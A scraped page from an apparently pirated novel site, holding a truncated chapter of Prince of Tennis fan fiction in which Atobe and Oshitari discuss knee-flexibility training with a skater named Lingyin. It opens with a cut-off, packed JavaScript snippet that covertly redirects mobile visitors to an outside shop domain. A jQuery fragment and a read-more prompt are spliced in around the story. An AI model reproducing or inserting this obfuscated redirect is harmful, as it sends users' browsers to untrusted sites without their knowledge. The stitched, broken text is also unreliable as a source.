ng.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17578000|202208||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
性也是通过训练可以做到的吗？”
忍足倒是没注意过这个，被他这么一问，也认真观察起来。
在底线移动或者处理低球时，膝关节越柔软，越能让人保持更低更稳的重心，也就能更快改变击球速度和方向，优势不言而喻。
迹部看着结束训练朝出口滑过来的人，已经做了决策：“效果不错，可以加入基础训练。我会安排临时指导教练。”
忍足惊讶：“你试过了？什么时候。”
不是确定有效的训练，作为部长的迹部是不会轻易加入基础训练菜单的。
“去年。”
迹部丢下两个字便朝出口走了过去。
凌音一个T字刹停在他面前，对他笑。
—
回迹部宅的车上，凌音被围住开始问问题。
“膝盖？”她思索着忍足的问题，“那个不是关节训练，主要是肌肉控制和协调性的配合。网球训练应该也有吧，深蹲、跳箱什么的。”
“但感觉效果不太一样，没有这么灵活。”
“不一样的训练方式……或许可以试
关闭+畅/阅读=模式,看最新完整内容。本章未完，请点击下一页继续阅读》》